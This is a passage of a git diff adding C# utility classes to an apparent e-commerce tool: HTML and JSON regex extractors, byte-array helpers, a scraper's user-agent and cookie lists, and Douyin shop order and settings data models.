+ ">([^<]+)"); + long i; + if (long.TryParse(temp, out i)) + return i; + return 0; + } + /// + /// 获取值 + /// + /// + /// + /// + public static double GetDoubleValue(string html, string reg) + { + string temp = GetMatchRegexString(html, "<" + reg + ">([^<]+)"); + double i; + if (double.TryParse(temp, out i)) + return i; + return 0; + } + /// + /// 获取值 + /// + /// + /// + /// + public static DateTime GetDateValue(string html, string reg) + { + string temp = GetMatchRegexString(html, "<" + reg + ">([^<]+)"); + DateTime i; + if (DateTime.TryParse(temp, out i)) + return i; + return DateTime.MinValue; + } + /// + /// 获取值 + /// + /// + /// + /// + public static decimal GetDecimalValue(string html, string reg) + { + string temp = GetMatchRegexString(html, "<" + reg + ">([^<]+)"); + decimal i = 0; + if (decimal.TryParse(temp, out i)) + return i; + return 0; + } + /// + /// 获取值 + /// + /// + /// + /// + public static decimal GetDecimalJson(ref string html, string reg) + { + string temp = GetMatchRegexString(html, @"['""]" + reg + @"['""][\s]*:[\s]*['""]([^']+?)['""]"); + if (string.IsNullOrEmpty(temp)) + temp = GetMatchRegexString(html, @"['""]" + reg + @"['""][\s]*:[\s]*([\d-\.]+)"); + decimal i = 0; + if (decimal.TryParse(temp, out i)) + return i; + return 0; + } + + /// + /// 获取值 + /// + /// + /// + /// + public static int GetIntJson(ref string html, string reg) + { + string temp = GetMatchRegexString(html, @"['""]" + reg + @"['""][\s]*:[\s]*['""]([^']+?)['""]"); + if (string.IsNullOrEmpty(temp)) + temp = GetMatchRegexString(html, @"['""]" + reg + @"['""][\s]*:[\s]*([\d-]+)"); + int i; + if (int.TryParse(temp, out i)) + return i; + return 0; + } + /// + /// 时间戳转字符串时间 + /// + /// + /// + /// + public static string GetIntTimeToString(ref string html, string reg) + { + return GetIntTimeToString(ref html, reg, 0); + } + /// + /// 时间戳转字符串时间 + /// + /// + /// + /// 添加时间 + /// + public static string GetIntTimeToString(ref string html, string reg, int addTime) + { + int time = GetIntJson(ref html, reg) + addTime; + DateTime dt = BaseClass.StampToDateTime(time); + return dt.ToString("yyyy-MM-dd HH:mm:ss"); + } + + /// + /// 获取值 + /// + /// + /// + /// + public static long GetLongJson(ref string html, string reg) + { + string temp = GetMatchRegexString(html, @"['""]" + reg + @"['""][\s]*:[\s]*['""]([^']+?)['""]"); + if (string.IsNullOrEmpty(temp)) + temp = GetMatchRegexString(html, @"['""]" + reg + @"['""][\s]*:[\s]*([\d]+)"); + long i; + if (long.TryParse(temp, out i)) + return i; + return 0; + } + + /// + /// 获取值 + /// + /// + /// + /// + public static string GetStringJson(ref string html, string reg) + { + string temp = GetMatchRegexString(html, @"['""]" + reg + @"['""][\s]*:[\s]*['""]([^']+?)['""]"); + if (string.IsNullOrEmpty(temp)) + temp = GetMatchRegexString(html, @"['""]" + reg + @"['""][\s]*:[\s]*([\d]+)"); + if (!string.IsNullOrEmpty(temp) && temp.Contains("\"")) + temp = temp.Substring(0, temp.IndexOf("\"")); + if (!string.IsNullOrEmpty(temp) && temp.Contains("'")) + temp = temp.Substring(0, temp.IndexOf("'")); + return temp; + } + + /// + /// 获取值 + /// + /// + /// + /// + public static string GetStringInput(ref string html, string reg) + { + string temp = GetMatchRegexString(html, @"]*?name[\s]*=[\s]*['""]" + reg + @"[""'][^>]+?value[\s]*=[\s]*[""']([^>]+)[""'][^>]*>"); + if (string.IsNullOrEmpty(temp)) + temp = GetMatchRegexString(html, @"]*?value[\s]*=[\s]*[""']([^>]+)[""'][^>]+?name[\s]*=[\s]*['""]" + reg + @"[""'][^>]*>"); + return temp; + } + + /// + /// 正则获取URL参数 + /// + /// + /// + /// + public static string GetURLParams(string url, string name) + { + Regex reg = new Regex(@"(?:^|\?|&)" + name + "=(?.+?)(?:&|$)"); + Match m = reg.Match(url); + return m.Groups["VAL"].ToString(); ; + } + } +} diff --git a/AllBase/BaseWork.cs b/AllBase/BaseWork.cs new file mode 100644 index 0000000..54cca12 --- /dev/null +++ b/AllBase/BaseWork.cs @@ -0,0 +1,95 @@ +/* + * 基本处理 + * 肖俊 + * 2015-4-2 + */ + +using System.Text; + +namespace AllBase +{ + public static class BaseWork + { + /// + /// 两个数组是否相同 + /// + /// + /// + /// + public static bool IsSame(ref byte[] b1, ref byte[] b2) + { + if (b1.Length != b2.Length) + return false; + for (int i = 0; i < b1.Length; i++) + if (b1[i] != b2[i]) + return false; + return true; + } + /// + /// 取得一个数组在另一个数组中的位置 + /// + /// 主数组 + /// 查找数组 + /// 起点 + /// + public static int GetIndexFirst(ref byte[] b1, ref byte[] b2, int start) + { + if (b1.Length < b2.Length || start > b1.Length - 1) + return -1; + int j; + for (int i = start; i < b1.Length - b2.Length+1; i++) + { + if (b1[i] != b2[0]) + continue; + for (j = 1; j < b2.Length; j++) + if (b1[i + j] != b2[j]) + break; + if (j == b2.Length) + return i; + } + return -1; + } + /// + /// 一个数组是否在另一个数组的结尾 + /// + /// 主数据 + /// 结尾数组 + /// + public static bool IsEndByte(ref byte[] getByte, ref byte[] end) + { + if (end.Length > getByte.Length) + return false; + int i, c = getByte.Length - end.Length; + for (i = 0; i < end.Length; i++) + if (end[i] != getByte[c + i]) + break; + if (i == end.Length) + return true; + return false; + } + + /// + /// 取得一个数组在另一个数组中的位置 + /// + /// 主数组 + /// 查找数组 + /// + public static int GetIndexLast(ref byte[] b1, ref byte[] b2) + { + if (b1.Length < b2.Length) + return -1; + int j, end = b2.Length - 1; + for (int i = b1.Length - 1; i >= end; i--) + { + if (b1[i] != b2[end]) + continue; + for (j = 1; j < b2.Length; j++) + if (b1[i - j] != b2[end - j]) + break; + if (j == b2.Length) + return i - end; + } + return -1; + } + } +} diff --git a/AllBase/CollectBase.cs b/AllBase/CollectBase.cs new file mode 100644 index 0000000..0c79165 --- /dev/null +++ b/AllBase/CollectBase.cs @@ -0,0 +1,157 @@ +/* + * 浏览器基础类 + * 2013-7-24 + * 肖俊 + */ + +using System; +using System.Collections.Generic; + +namespace AllBase +{ + public static class CollectBase + { + /// + /// 初始化浏览器标识列表 + /// + public static void Initialization() + { + try + { + WebCoockies.Coockies.Clear(); + WebCoockies.MobileCoockies.Clear(); + string[] u = UserAgent.Split('\n'); + foreach (string s in u) + { + if(string.IsNullOrEmpty(s)) + continue; + WebBrowserCoockies w = new WebBrowserCoockies(); + w.UserAgent = s.Trim(); + WebCoockies.Coockies.Add(w); + } + u = MobileUserAgent.Split('\n'); + foreach (string s in u) + { + if (string.IsNullOrEmpty(s)) + continue; + WebBrowserCoockies w = new WebBrowserCoockies(); + w.UserAgent = s.Trim(); + WebCoockies.MobileCoockies.Add(w); + } + } + catch + { + + } + } + + /// + /// 浏览器标识 + /// + private static string UserAgent = @"Mozilla/5.0+(Windows+NT+10.0;+WOW64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/57.0.2987.133+Safari/537.36 +Mozilla/5.0+(Windows+NT+6.1)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/57.0.2987.133+Safari/537.36 +Mozilla/5.0+(Windows+NT+10.0;+WOW64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/54.0.2840.99+Safari/537.36 +Mozilla/5.0+(Windows+NT+5.1)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/31.0.1650.63+Safari/537.36 +Mozilla/5.0+(Windows+NT+5.1)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/45.0.2454.101+Safari/537.36 +Mozilla/5.0+(Windows+NT+6.1;+WOW64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/45.0.2454.101+Safari/537.36 +Mozilla/5.0+(Windows+NT+6.3;+WOW64;+Trident/7.0;+rv:11.0)+like+Gecko +Mozilla/5.0+(Windows+NT+10.0;+WOW64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/57.0.2987.133+Safari/537.36 +Mozilla/5.0+(Windows+NT+6.3;+Win64;+x64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/57.0.2987.133+Safari/537.36 +Mozilla/5.0+(Windows+NT+6.1;+WOW64)+AppleWebKit/537.1+(KHTML,+like+Gecko)+Chrome/21.0.1180.89+Safari/537.1 +Mozilla/5.0+(Windows+NT+6.1;+WOW64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/45.0.2454.101+Safari/537.36 +Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.104 Safari/537.36 Core/1.53.2372.400 QQBrowser/9.5.10548.400"; + /// + /// 浏览器标识 + /// +// private static string UserAgent = @"Mozilla/5.0+(Windows+NT+10.0;+WOW64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/57.0.2987.133+Safari/537.36 +//Mozilla/5.0+(Windows+NT+6.1)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/57.0.2987.133+Safari/537.36 +//Mozilla/5.0+(Windows+NT+10.0;+WOW64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/54.0.2840.99+Safari/537.36 +//Mozilla/5.0+(Windows+NT+5.1)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/31.0.1650.63+Safari/537.36 +//Mozilla/5.0+(compatible;+MSIE+9.0;+Windows+NT+6.1;+Win64;+x64;+Trident/5.0) +//Mozilla/5.0+(Windows+NT+5.1)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/45.0.2454.101+Safari/537.36 +//Mozilla/5.0+(Windows+NT+6.1;+WOW64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/45.0.2454.101+Safari/537.36 +//Mozilla/5.0+(Windows+NT+6.3;+WOW64;+Trident/7.0;+rv:11.0)+like+Gecko +//Mozilla/5.0+(Windows+NT+10.0;+WOW64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/57.0.2987.133+Safari/537.36 +//Mozilla/5.0+(compatible;+MSIE+9.0;+Windows+NT+6.1;+WOW64;+Trident/5.0) +//Mozilla/5.0+(Windows+NT+6.3;+Win64;+x64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/57.0.2987.133+Safari/537.36 +//Mozilla/5.0+(Windows+NT+6.1;+WOW64)+AppleWebKit/537.1+(KHTML,+like+Gecko)+Chrome/21.0.1180.89+Safari/537.1 +//Mozilla/5.0+(Windows+NT+6.1;+WOW64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/45.0.2454.101+Safari/537.36 +//Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.104 Safari/537.36 Core/1.53.2372.400 QQBrowser/9.5.10548.400"; + /// + /// 手机端浏览器标识 + /// + private static string MobileUserAgent = @"Mozilla/5.0+(Linux;+Android+5.0.2;+vivo+X5Pro+D+Build/LRX21M;+wv)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Version/4.0+Chrome/48.0.2564.116+Mobile+Safari/537.36+baidubrowser/7.10.12.0+(Baidu;+P1+5.0.2) +Mozilla/5.0+(Linux;+Android+6.0;+vivo+1601+Build/MRA58K)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/57.0.2987.132+Mobile+Safari/537.36 +Mozilla/5.0+(iPhone;+CPU+iPhone+OS+10_2_1+like+Mac+OS+X)+AppleWebKit/602.4.6+(KHTML,+like+Gecko)+Version/10.0+Mobile/14D27+Safari/602.1 +Mozilla/5.0+(Linux;+Android+5.0.1;+ALE-L02+Build/HuaweiALE-L02)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/57.0.2987.132+Mobile+Safari/537.36 +Mozilla/5.0+(iPhone;+CPU+iPhone+OS+10_3+like+Mac+OS+X)+AppleWebKit/603.1.30+(KHTML,+like+Gecko)+Version/10.0+Mobile/14E277+Safari/602.1"; + } + + /// + /// 浏览器cookies存放类 + /// + public static class WebCoockies + { + /// + /// Cookies列 + /// + public static List Coockies = new List(); + /// + /// Cookies列 + /// + public static List MobileCoockies = new List(); + } + + /// + /// 浏览器基础列 + /// + public class WebBrowserCoockies + { + /// + /// 列ID + /// + public int Id { get; set; } + /// + /// 浏览器标识 + /// + public string UserAgent { get; set; } + /// + /// 来路 + /// + public string Referer { get; set; } + /// + /// Cookies + /// + public List Coockies = new List(); + } + + /// + /// 域名对应Coockies + /// + public class CoockiesBase + { + /// + /// 域名 + /// + public string Domain { get; set; } + /// + /// cookies + /// + public string Cookies { get; set; } + } + + /// + /// cookies值 + /// + public class CoockiesValue + { + /// + /// 名称 + /// + public string Title { get; set; } + /// + /// 值 + /// + public string Value { get; set; } + } +} diff --git a/AllBase/DouYinModel/Param/AfterSaleManage/AfterSaleOperateParam.cs b/AllBase/DouYinModel/Param/AfterSaleManage/AfterSaleOperateParam.cs new file mode 100644 index 0000000..c295945 --- /dev/null +++ b/AllBase/DouYinModel/Param/AfterSaleManage/AfterSaleOperateParam.cs @@ -0,0 +1,60 @@ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; +using System.Threading.Tasks; + +namespace AllBase.DouYinModel.Param.AfterSaleManage +{ + public class AfterSaleOperateParam + { + } + + public class after_sale_address_detail + { + /// + /// 省 + /// + public string province_name { get; set; } + /// + /// 市 + /// + public string city_name { get; set; } + /// + /// 区 + /// + public string town_name { get; set; } + /// + /// 地址详情 + /// + public string detail { get; set; } + /// + /// 收件人 + /// + public string user_name { get; set; } + /// + /// 联系电话 + /// + public string mobile { get; set; } + /// + /// 街道名称 + /// + public string street_name { get; set; } + /// + /// 省id + /// + public string province_id { get; set; } + /// + /// 市id + /// + public string city_id { get; set; } + /// + /// 区id + /// + public string town_id { get; set; } + /// + /// 街道id + /// + public string street_id { get; set; } + } +} diff --git a/AllBase/DouYinModel/Param/ConfigManage/SystemSettings.cs b/AllBase/DouYinModel/Param/ConfigManage/SystemSettings.cs new file mode 100644 index 0000000..18a28ee --- /dev/null +++ b/AllBase/DouYinModel/Param/ConfigManage/SystemSettings.cs @@ -0,0 +1,34 @@ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; +using System.Threading.Tasks; + +namespace AllBase.DouYinModel.Param.ConfigManage +{ + public class SystemSettings + { + /// + /// 是否自动发货 + /// + public bool IsAutoSendOrder { get; set; } = true; + + public string JinBaoLink { get; set; } = ""; + + public string LianMengLink { get; set; } = ""; + + /// + /// 是否等有物流信息以后再发货 + /// + public bool IsHasLogisticsThenSend { get; set; } = false; + + /// + /// 是否使用拼多多批发拍单 + /// + public bool IsUsePddPifa { get; set; } = false; + /// + /// 是否使用多买手拍单 + /// + public bool IsUseMultiBuyer { get; set; } = false; + } +} diff --git a/AllBase/DouYinModel/Param/LoginManage/UserParam.cs b/AllBase/DouYinModel/Param/LoginManage/UserParam.cs new file mode 100644 index 0000000..ad4f012 --- /dev/null +++ b/AllBase/DouYinModel/Param/LoginManage/UserParam.cs @@ -0,0 +1,14 @@ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; +using System.Threading.Tasks; + +namespace AllBase.DouYinModel.Param.LoginManage +{ + public class UserParam + { + public string UserName { get; set; } + public string PasswordMd5 { get; set; } + } +} diff --git a/AllBase/DouYinModel/Param/ShopManage/DouShopSettingParam.cs b/AllBase/DouYinModel/Param/ShopManage/DouShopSettingParam.cs new file mode 100644 index 0000000..470a921 --- /dev/null +++ b/AllBase/DouYinModel/Param/ShopManage/DouShopSettingParam.cs @@ -0,0 +1,13 @@ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; +using System.Threading.Tasks; + +namespace AllBase.DouYinModel.Param.ShopManage +{ + public class DouShopSettingParam + { + public bool IsAutoDragLogin { get; set; } = false; + } +} diff --git a/AllBase/DouYinModel/Result/DouGoodsInfo.cs b/AllBase/DouYinModel/Result/DouGoodsInfo.cs new file mode 100644 index 0000000..936bf37 --- /dev/null +++ b/AllBase/DouYinModel/Result/DouGoodsInfo.cs @@ -0,0 +1,70 @@ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; +using System.Threading.Tasks; + +namespace AllBase.DouYinModel.Result +{ + public class DouGoodsInfo + { + /// + /// 商品ID + /// + public string spid; + /// + /// 商品名称 + /// + public string goodsName; + /// + /// 平台 + /// + public string pt; + /// + /// 价格 + /// + public string jg; + /// + /// 销量 + /// + public string xl; + /// + /// 佣金 + /// + public string yj; + /// + /// 佣金率 + /// + public string yjl; + public string img; + /// + /// 类目 + /// + public string lm; + /// + /// 类目id + /// + public string lmid; + /// + /// 关键词 + /// + public string gjz; + public int pl; + /// + /// 店铺ID + /// + public string dpid; + /// + /// 店铺名称 + /// + public string dpmc; + /// + /// 商品总数 + /// + public int spzs; + /// + /// 好评率 + /// + public double hpl; + } +} \ No newline at end of file diff --git a/AllBase/DouYinModel/Result/DouOrderListInfo.cs b/AllBase/DouYinModel/Result/DouOrderListInfo.cs new file mode 100644 index 0000000..1dda1ce --- /dev/null +++ b/AllBase/DouYinModel/Result/DouOrderListInfo.cs @@ -0,0 +1,1402 @@ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; +using System.Threading.Tasks; + +namespace AllBase.DouYinModel.Result +{ + public class DouOrderListInfo + { + public class OrderListResponse + { + public OrderData data { get; set; } + public int total { get; set; } + } + + public class OrderData + { + /// + /// + /// + public int page { get; set; } + /// + /// + /// + public List shop_order_list { get; set; } + /// + /// + /// + public int size { get; set; } + /// + /// + /// + public int total { get; set; } + } + public class Shop_order_listItem + { + /// + /// + /// + public int app_id { get; set; } + /// + /// + /// + public int b_type { get; set; } + /// + /// 抖音 + /// + public string b_type_desc { get; set; } + + + public string productName { get; set; } + + /// + /// + /// + public int biz { get; set; } + /// + /// 小店 + /// + public string biz_desc { get; set; } + /// + /// + /// + public string buyer_words { get; set; } + /// + /// + /// + public string cancel_reason { get; set; } + /// + /// + /// + public string channel_payment_no { get; set; } + /// + /// + /// + public int create_time { get; set; } + /// + /// + /// + public string doudian_open_id { get; set; } + /// + /// + /// + public string encrypt_post_receiver { get; set; } + /// + /// + /// + public string encrypt_post_tel { get; set; } + /// + /// + /// + public int exp_ship_time { get; set; } + /// + /// + /// + public int finish_time { get; set; } + /// + /// + /// + public List logistics_info { get; set; } + /// + /// + /// + public int main_status { get; set; } + /// + /// 备货中 + /// + public string main_status_desc { get; set; } + /// + /// + /// + public int modify_amount { get; set; } + /// + /// + /// + public int modify_post_amount { get; set; } + /// + /// + /// + public string open_id { get; set; } + /// + /// + /// + public int order_amount { get; set; } + /// + /// + /// + public int order_expire_time { get; set; } + /// + /// + /// + public string order_id { get; set; } + /// + /// + /// + public int order_level { get; set; } + /// + /// + /// + public List order_phase_list { get; set; } + /// + /// + /// + public int order_status { get; set; } + /// + /// 备货中 + /// + public string order_status_desc { get; set; } + /// + /// + /// + public int order_type { get; set; } + /// + /// 普通订单 + /// + public string order_type_desc { get; set; } + /// + /// + /// + public int pay_amount { get; set; } + /// + /// + /// + public int pay_time { get; set; } + /// + /// + /// + public int pay_type { get; set; } + /// + /// + /// + public int platform_cost_amount { get; set; } + /// + /// + /// + public Post_addr post_addr { get; set; } + /// + /// + /// + public int post_amount { get; set; } + /// + /// + /// + public int post_insurance_amount { get; set; } + /// + /// + /// + public string post_receiver { get; set; } + /// + /// + /// + public string post_tel { get; set; } + /// + /// + /// + public int promotion_amount { get; set; } + /// + /// + /// + public int promotion_pay_amount { get; set; } + /// + /// + /// + public int promotion_platform_amount { get; set; } + /// + /// + /// + public int promotion_redpack_amount { get; set; } + /// + /// + /// + public int promotion_redpack_platform_amount { get; set; } + /// + /// + /// + public int promotion_redpack_talent_amount { get; set; } + /// + /// + /// + public int promotion_shop_amount { get; set; } + /// + /// + /// + public int promotion_talent_amount { get; set; } + /// + /// + /// + public int seller_remark_stars { get; set; } + /// + /// + /// + public string seller_words { get; set; } + /// + /// + /// + public List serial_number_list { get; set; } + /// + /// + /// + public int ship_time { get; set; } + /// + /// + /// + public int shop_cost_amount { get; set; } + /// + /// + /// + public int shop_id { get; set; } + /// + /// 开箱小店 + /// + public string shop_name { get; set; } + /// + /// + /// + public List sku_order_list { get; set; } + /// + /// + /// + public int sub_b_type { get; set; } + /// + /// + /// + public string sub_b_type_desc { get; set; } + /// + /// + /// + public int trade_type { get; set; } + /// + /// 普通 + /// + public string trade_type_desc { get; set; } + /// + /// + /// + public int update_time { get; set; } + } + + + public class Sku_order_listItem + { + /// + /// 解密后的 + /// + public string Name { get; set; } + /// + /// 解密后的 + /// + public string Mobile { get; set; } + /// + /// 解密后的 + /// + public string Address { get; set; } + /// + /// + /// + public After_sale_info after_sale_info { get; set; } + /// + /// + /// + public int app_id { get; set; } + /// + /// + /// + public long author_id { get; set; } + /// + /// + /// + public string author_name { get; set; } + /// + /// + /// + public int b_type { get; set; } + /// + /// 抖音 + /// + public string b_type_desc { get; set; } + /// + /// + /// + public int biz { get; set; } + /// + /// 小店 + /// + public string biz_desc { get; set; } + /// + /// + /// + public int c_biz { get; set; } + /// + /// 自主经营 + /// + public string c_biz_desc { get; set; } + /// + /// + /// + public string cancel_reason { get; set; } + /// + /// + /// + public string channel_payment_no { get; set; } + /// + /// + /// + public string cid { get; set; } + /// + /// + /// + public string code { get; set; } + /// + /// + /// + public int confirm_receipt_time { get; set; } + /// + /// + /// + public string content_id { get; set; } + /// + /// + /// + public int create_time { get; set; } + /// + /// + /// + public string encrypt_post_receiver { get; set; } + /// + /// + /// + public string encrypt_post_tel { get; set; } + /// + /// + /// + public int exp_ship_time { get; set; } + /// + /// + /// + public int finish_time { get; set; } + + /// + /// + /// + public int first_cid { get; set; } + /// + /// + /// + public int fourth_cid { get; set; } + /// + /// + /// + public int goods_type { get; set; } + /// + /// + /// + public string has_tax { get; set; } + /// + /// + /// + public List inventory_list { get; set; } + /// + /// + /// + public string inventory_type { get; set; } + /// + /// + /// + public string inventory_type_desc { get; set; } + /// + /// + /// + public int is_comment { get; set; } + /// + /// + /// + public int item_num { get; set; } + /// + /// + /// + public int logistics_receipt_time { get; set; } + /// + /// + /// + public int main_status { get; set; } + /// + /// 备货中 + /// + public string main_status_desc { get; set; } + /// + /// + /// + public int modify_amount { get; set; } + /// + /// + /// + public int modify_post_amount { get; set; } + /// + /// + /// + public int order_amount { get; set; } + /// + /// + /// + public int order_expire_time { get; set; } + /// + /// + /// + public string order_id { get; set; } + /// + /// + /// + public int order_level { get; set; } + /// + /// + /// + public int order_status { get; set; } + /// + /// 备货中 + /// + public string order_status_desc { get; set; } + /// + /// + /// + public int order_type { get; set; } + /// + /// 普通订单 + /// + public string order_type_desc { get; set; } + /// + /// + /// + public int origin_amount { get; set; } + /// + /// + /// + public string origin_id { get; set; } + /// + /// + /// + public string out_product_id { get; set; } + /// + /// + /// + public string out_sku_id { get; set; } + /// + /// + /// + public List out_warehouse_ids { get; set; } + /// + /// + /// + public string page_id { get; set; } + /// + /// + /// + public string parent_order_id { get; set; } + /// + /// + /// + public int pay_amount { get; set; } + /// + /// + /// + public int pay_time { get; set; } + /// + /// + /// + public int pay_type { get; set; } + /// + /// + /// + public int platform_cost_amount { get; set; } + /// + /// + /// + public Post_addr post_addr { get; set; } + /// + /// + /// + public int post_amount { get; set; } + /// + /// + /// + public int post_insurance_amount { get; set; } + /// + /// + /// + public string post_receiver { get; set; } + /// + /// + /// + public string post_tel { get; set; } + /// + /// + /// + public int pre_sale_type { get; set; } + /// + /// + /// + public long product_id { get; set; } + /// + /// 古典舞蹈练功服女如梦同款长款开衫纱衣飘逸身韵成人阔腿裤演出服 + /// + public string product_name { get; set; } + /// + /// + /// + public string product_pic { get; set; } + /// + /// + /// + public int promotion_amount { get; set; } + /// + /// + /// + public int promotion_pay_amount { get; set; } + /// + /// + /// + public int promotion_platform_amount { get; set; } + /// + /// + /// + public int promotion_redpack_amount { get; set; } + /// + /// + /// + public int promotion_redpack_platform_amount { get; set; } + /// + /// + /// + public int promotion_redpack_talent_amount { get; set; } + /// + /// + /// + public int promotion_shop_amount { get; set; } + /// + /// + /// + public int promotion_talent_amount { get; set; } + /// + /// + /// + public int receive_type { get; set; } + /// + /// + /// + public int reduce_stock_type { get; set; } + /// + /// 支付库存 + /// + public string reduce_stock_type_desc { get; set; } + /// + /// + /// + public string room_id { get; set; } + /// + /// + /// + public int second_cid { get; set; } + /// + /// + /// + public int send_pay { get; set; } + /// + /// + /// + public string send_pay_desc { get; set; } + /// + /// + /// + public int ship_time { get; set; } + /// + /// + /// + public int shop_cost_amount { get; set; } + /// + /// + /// + public long sku_id { get; set; } + /// + /// + /// + public string source_platform { get; set; } + /// + /// + /// + public List spec { get; set; } + /// + /// + /// + public int sub_b_type { get; set; } + /// + /// + /// + public string sub_b_type_desc { get; set; } + /// + /// + /// + public int sum_amount { get; set; } + /// + /// + /// + public string supplier_id { get; set; } + /// + /// + /// + public string theme_type { get; set; } + /// + /// + /// + public string theme_type_desc { get; set; } + /// + /// + /// + public int third_cid { get; set; } + /// + /// + /// + public int trade_type { get; set; } + /// + /// 普通 + /// + public string trade_type_desc { get; set; } + /// + /// + /// + public int update_time { get; set; } + /// + /// + /// + public string video_id { get; set; } + /// + /// + /// + public string productPurchasePrice { get; set; } + /// + /// + /// + public List warehouse_ids { get; set; } + } + + public class SpecItem + { + /// + /// 颜色分类 + /// + public string name { get; set; } + /// + /// 吊带 + /// + public string value { get; set; } + } + + public class Post_addr + { + /// + /// + /// + public City city { get; set; } + /// + /// + /// + public string detail { get; set; } + /// + /// + /// + public string encrypt_detail { get; set; } + /// + /// + /// + public Province province { get; set; } + /// + /// + /// + public Street street { get; set; } + /// + /// + /// + public Town town { get; set; } + } + + + public class Town + { + /// + /// + /// + public string id { get; set; } + /// + /// 合肥经济技术开发区 + /// + public string name { get; set; } + } + + public class Street + { + /// + /// + /// + public string id { get; set; } + /// + /// + /// + public string name { get; set; } + } + + public class Province + { + /// + /// + /// + public string id { get; set; } + /// + /// 安徽省 + /// + public string name { get; set; } + } + + + public class City + { + /// + /// + /// + public string id { get; set; } + /// + /// 合肥市 + /// + public string name { get; set; } + } + + + public class Inventory_listItem + { + /// + /// + /// + public int count { get; set; } + /// + /// + /// + public int inventory_type { get; set; } + /// + /// 普通库存 + /// + public string inventory_type_desc { get; set; } + /// + /// + /// + public string out_warehouse_id { get; set; } + /// + /// + /// + public string warehouse_id { get; set; } + } + + public class After_sale_info + { + /// + /// + /// + public int after_sale_status { get; set; } + /// + /// + /// + public int after_sale_type { get; set; } + /// + /// + /// + public int refund_status { get; set; } + } + + + + /* + public class OrderDetail + { + /// + /// + /// + public int adjust_amount { get; set; } + /// + /// + /// + public int adjust_post_amount { get; set; } + /// + /// + /// + public string b_type { get; set; } + /// + /// + /// + public int biz { get; set; } + /// + /// + /// + public string buyer_words { get; set; } + /// + /// + /// + public int c_biz { get; set; } + /// + /// + /// + public string c_type { get; set; } + /// + /// + /// + public string cancel_reason { get; set; } + /// + /// + /// + public List child { get; set; } + /// + /// + /// + public int child_num { get; set; } + /// + /// + /// + public string cos_ratio { get; set; } + /// + /// + /// + public int coupon_amount { get; set; } + /// + /// + /// + public List coupon_info { get; set; } + /// + /// + /// + public string create_time { get; set; } + /// + /// + /// + public string encrypt_post_receiver { get; set; } + /// + /// + /// + public string encrypt_post_tel { get; set; } + /// + /// + /// + public int exp_ship_time { get; set; } + /// + /// + /// + public int final_status { get; set; } + /// + /// + /// + public string group_buy_group_id { get; set; } + /// + /// + /// + public int group_buy_success_time { get; set; } + /// + /// + /// + public string identity_card_id { get; set; } + /// + /// + /// + public string identity_check_state { get; set; } + /// + /// + /// + public string is_comment { get; set; } + /// + /// + /// + public string is_insurance { get; set; } + /// + /// + /// + public string logistics_code { get; set; } + /// + /// + /// + public int logistics_id { get; set; } + /// + /// + /// + public string logistics_list { get; set; } + /// + /// + /// + public string logistics_time { get; set; } + /// + /// + /// + public string open_id { get; set; } + /// + /// + /// + public string order_id { get; set; } + /// + /// + /// + public int order_status { get; set; } + /// + /// + /// + public string order_tag { get; set; } + /// + /// + /// + public int order_total_amount { get; set; } + /// + /// + /// + public int order_type { get; set; } + /// + /// + /// + public string pay_time { get; set; } + /// + /// + /// + public int pay_type { get; set; } + /// + /// + /// + public int platform_direct_reduction_platform_amount { get; set; } + /// + /// + /// + public Post_addr post_addr { get; set; } + /// + /// + /// + public int post_amount { get; set; } + /// + /// + /// + public string post_code { get; set; } + /// + /// + /// + public string post_receiver { get; set; } + /// + /// + /// + public string post_tel { get; set; } + /// + /// + /// + public int process_type { get; set; } + /// + /// + /// + public int promotion_pay_amount { get; set; } + /// + /// + /// + public string receipt_time { get; set; } + /// + /// + /// + public int seller_remark_stars { get; set; } + /// + /// + /// + public string seller_words { get; set; } + /// + /// + /// + public int shipped_num { get; set; } + /// + /// + /// + public int shop_coupon_amount { get; set; } + /// + /// + /// + public int shop_id { get; set; } + /// + /// + /// + public int sub_b_type { get; set; } + /// + /// + /// + public string talent_coupon_discount { get; set; } + /// + /// + /// + public string talent_coupon_id { get; set; } + /// + /// + /// + public string talent_coupon_meta_id { get; set; } + /// + /// + /// + public int update_time { get; set; } + /// + /// + /// + public int urge_cnt { get; set; } + } + public class Post_addr + { + /// + /// + /// + public City city { get; set; } + /// + /// + /// + public string detail { get; set; } + /// + /// + /// + public string encrypt_detail { get; set; } + /// + /// + /// + public Province province { get; set; } + /// + /// + /// + public Street street { get; set; } + /// + /// + /// + public Order_Town town { get; set; } + } + public class Order_Town + { + /// + /// + /// + public string id { get; set; } + /// + /// 合肥经济技术开发区 + /// + public string name { get; set; } + } + public class Street + { + /// + /// + /// + public string id { get; set; } + /// + /// + /// + public string name { get; set; } + } + public class Province + { + /// + /// + /// + public string id { get; set; } + /// + /// 安徽省 + /// + public string name { get; set; } + } + public class City + { + /// + /// + /// + public string id { get; set; } + /// + /// 合肥市 + /// + public 